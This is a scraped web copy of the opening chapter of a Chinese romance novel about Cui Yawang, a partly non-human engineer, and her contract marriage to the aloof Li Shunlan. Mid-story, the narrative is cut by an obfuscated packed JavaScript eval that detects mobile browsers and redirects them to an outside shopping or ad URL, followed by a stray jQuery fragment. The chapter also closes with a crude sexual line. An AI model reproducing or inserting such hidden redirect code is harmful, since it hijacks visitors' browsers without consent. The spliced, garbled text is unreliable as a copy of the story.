1. 昨日种种(一)
作品:《和恶劣坏狗决裂后[GB]》 “崔工,下班了,跟我们一起去聚餐吗?”
办公室新入职的工程师留着一头蓬松柔软的羊毛卷,发尾卷翘着,软乎乎裹出温顺的轮廓,衬得脸盘小巧圆润,她来办公室那天没戴眼镜,视力好的老油条看仔细点看见她左眼下有一颗小痣。
报到那天不少人围在走廊上偷看这个看起来很好欺负的新人,人刚来再加上研究院年轻的美女确实少,有新鲜度,后面没几天又是差不多的日常生活,这个新鲜劲就过了。
有那么一两个不死心的想追求一下,每天堵在崔雅望下班时间点上想要约她一起出去吃饭。
次数一多,好脾气的崔雅望也被招烦了。
她露出个礼貌的微笑,扶正脸上的夸张黑框眼镜,镜片后的眉眼被遮去大半,只剩鼻尖和抿起的软唇露在外面,透着几分柔和,“谢谢邀请,我老公今天出差回来,我得早点回去陪他,下次有机会和大家一起。”
男同事很诧异,“你已经结婚了?我看你博士才毕业不久。”
“嗯,研究生刚毕业就结婚了。”崔雅望边回应同事的其他问题,边收拾工位上要带走的东西,她不喜欢忽视别人,也想要让同事感受到友好和善意。
微信上有个甲方几分钟前给她发短信,提出新的修改要求,所以今天的工作她没有完全做完,只能带回家做了。
希望老公不要生气。
上次带工作回家做,崔雅望老公嘴上说着没有关系,她信以为真,坐在地毯上打开电脑,准备新的方案,才五分钟,某人走路不小心撞到她起码不下十次,她又生气不起来,只是温温柔柔地问老公要做什么。
老公面无表情在她身边站了几秒,突然坐到崔雅望旁边,力气很大地抱住了她的腰,说他觉得好冷,需要这样抱着崔雅望,不然还会一直撞到她身上。
那次用一个拥抱就混过去了,但后面去卧室崔雅望的触手差点被他搓得脱皮,老公还是太坏了。
崔雅望叹气,希望这次带工作回去不要又出现要被搓脱皮的情况。
同事和她一起去坐电梯,研究院的办公大楼占地面积巨大,她办公的地方和电梯一南一北,中间还得走几步路,两个人一路闲聊。
“结这么早?家里人安排的?”
“嗯,我家人介绍的。”
“哇,相亲结的婚吗?有感情基础吗?你们就结婚了。”
这个问题崔雅望有点回答不上来,她脸上表情空白了一瞬,声音顿了下又恢复成温柔礼貌的微笑,只是说的话不是那么有底气,“应该算……算有的。”
应该算?这是什么怪回答,男同事几乎想笑出声,可看崔雅望认真的表情还是憋住了。
正好电梯到了。
因为对接客户,出来的时间晚了点,下班高峰期的人流量已经过去,电梯内只有崔雅望、同事,以及两三个同样要下楼的人。
同事终于不再问东问西,反而是神色兴奋地拿着手机在用手指点点点。
电梯内很安静,安静呆着的时候难免容易想东想西,有部分非人基因的崔雅望也不例外。
一个人的时候她喜欢发呆。
顺利坐上地铁,研究院离她和李舜岚的家很远,需要坐四十分钟,李舜岚讨厌她这样子浪费时间,不过崔雅望喜欢这种混入人群的感觉,这让她感觉自己确实不是个异类。
这大概就是天性使然,注定不是同类,所以才想方设法想要融入到其中,期待不会被害怕和排斥。
而李舜岚又是能接纳她真实的怪物面目,甚至可以说是适应良好的人类,崔雅望总在吃掉他和占有他之间徘徊。
李舜岚也是一个极其坏的人类,因为他曾经说过,讨厌崔雅望。
崔雅望不明白哪里招到老公了,他要讨厌自己。
……
严格意义上来说,崔雅望和李舜岚是闪婚。
他们甚至还没有来得及举办婚礼,就已经成为了对方要共度一生的人。
她还记得相亲见面那天,李舜岚那不一般的亮相。
其他人相亲大部分都穿得正式,黑西装漂亮长裙套在身上,脸上画个妆做个发型啥的,崔雅望的相亲对象那天裹了一脸的绷带就来了,没被包住的狼尾利落又带点野性地垂在脸侧,耳朵上的黑色耳环很酷,就是脸上的绷带有点吓人。
是真的一脸的绷带,脸上包得只露出两只眼珠子,像一个活的木乃伊,在站了不少人的会议室里边显得格格不入。
他签结婚协议的手上还戴了一双黑手套。
崔雅望眼尖地发现他手腕处露出的皮肤很白,跟她那种透着血管的白不一样,当时第一次参加相亲,好奇心满满的崔雅望偷偷看了又看。
偷看的次数多了,手腕的主人也发现这道目光,没犹豫就冷酷无情地拉下袖子,将手腕藏了起来,可看了很多眼的崔雅望也没有想出要用什么词来形容他的皮肤颜色比较好。
要让后面抱过也亲过,还把李舜岚颜色浅淡的薄唇也亲的变色的崔雅望来形容下,应该会说她老公的皮肤很像奶油,被亲重了还会变红。
来相亲的老公绷带外边套了黑西装,算正式吧,就是搭配好奇怪,崔雅望到现在也觉得奇怪。
刚结婚那会儿两个人确实没有感情基础,都是被迫凑在一起的,而且她老公那时候刚成年,还在国外上学,都没有到法定结婚年龄,就和她结婚了。
结婚后两个月,崔雅望老公提前完成学业回国,两个人才有了培养感情基础的时间与空间。
崔雅望本来一个人住的不知道是谁(她不确定是李舜岚爸妈,还是李舜岚)买给他们俩生活用的一千平海滨大别墅。
某天晚上别墅里突然多了很多不属于崔雅望的东西。
她发现的时候简直要吓死了,以为是小偷发现这栋金碧辉煌,下楼还要坐电梯的别墅里面其实只有一个人住,打算进来和她一起住了。
全副武装的崔雅望拿着铁棍,鬼鬼祟祟来到监控上拍到陌生人东西的客厅里转了一圈没发现人,又听见厨房里边有声响,她深呼吸一口气猫着腰走过去。
脸只裹着半边绷带,露出一只眼睛的高大男生站在冰箱前警觉地转头,先是瞥了眼她手里的铁棍,转过去重重叹了口气,又伸手往冰箱里边掏了掏,掏出一瓶汽水朝她这边晃晃,嗓音沙哑地问,“要喝吗?”
崔雅望盯着他另外半边没有裹绷带的脸咽了咽口水,赶忙把铁棍藏到背后,不是很有底气地摇头讪笑,左看右看,比才来第一天的李舜岚更像个客人。
结婚后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993688|193855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第三个月,他们的相处模式其实更像是住在一个屋檐下的两个性格迥异的租客,一千平的海滨别墅,不费心思去计划见面,确实可以避开所有见面的机会。
所以是什么时候对他生出了好感,期盼着,能够长久地留在他身边。
崔雅望也记不清了。
或许是因为她老公身上的优点很多。
但这些优点和他唯一一个缺点比起来又不算什么了,思维有时候很非人化的崔雅望也挺想感慨,为什么世界上竟然有人类比怪物还要冷漠。
情感难道不是人类最显著的特征吗?
可事实就是李舜岚人真的太冷淡了,话很少,什么都不喜欢说,情绪波动几乎都没有。
她身边的朋友都不太喜欢李舜岚,最好的朋友湛若,刚知道她和李舜岚协议婚姻那会儿,每个月都会来劝她离婚,那些话崔雅望听得多了都能背出来了。
“李舜岚满脸都是绷带,你不害怕吗?”
“我们晚上又不一起睡。”
“你见过哪对夫妻结了婚还不一起睡的?”
崔雅望觉得湛若说的有道理,听到的那天晚上回去回去就告诉李舜岚,他们应该一起睡。
李舜岚没有异议。
给第二天知道两个人睡到一间房里的湛若气得半死,又列举了一系列李舜岚的劣迹,诸如李舜岚有暴力倾向,从小到大都特别喜欢扇人巴掌,人非常非常恶毒,曾经对着他亲爷爷表演过跳泳池里,爬上来说是私生子大哥推的,害得私生子被爷爷暴打一顿逐出家门。
这些行为听上去确实很不好,但鉴于李舜岚和她结婚许久也没有表露出暴力倾向,崔雅望决定在以后的日常生活里,发现他有暴力行为时,引导他进行改正,李舜岚既然已经成了她老公,那他们俩共同的家,他也有责任和义务一起维护。
崔雅望目光清澈地望着湛若,像是在发誓,“不要担心,我以后会帮助他好好改正的。”
作为崔雅望的朋友,又是李舜岚的校友,深知李家这伙人尿性的湛若简直要被气死,后面好长一段时间没有来劝,等到李舜岚的脸临着要拆绷带的日子只有几天,湛若又来劝了。
不过劝了三年,李舜岚摆着张冰块冷脸,依然扒拉着崔雅望老公的身份扒着紧紧的。
可崔雅望是什么时候开始思考,她和李舜岚的协议婚姻到底有什么意义。
是朋友发来妩媚的女人给李舜岚倒酒的照片,还是听见视频里边,喝醉了的湛若发酒疯说崔雅望这个傻子很爱你,问他爱崔雅望吗。
大概几十秒,崔雅望听到昨天还埋在她颈窝里,嘴巴都被吻红了还说不够的年轻男生用很淡漠的声音说,协议婚姻而已,谈不上喜欢。
连喜欢都不配谈上……当时在场所有人都听出来他的言外之意。
人类的很多话里其实都藏着没有说出口的话外音,他们都听懂了李舜岚真正想说的话,可后来听到这一切的崔雅望却不懂。
她只是想起男生有一双明明看起来温柔却异常冷漠的浅褐色眼睛,鼻尖上有一颗小痣。
崔雅望还记得,李舜岚的唇色浅淡但接吻后会很红,笑起来有极浅的单边梨涡。
他笑起来的时候真的很漂亮,被草痛了也会不得体地肮脏辱骂。

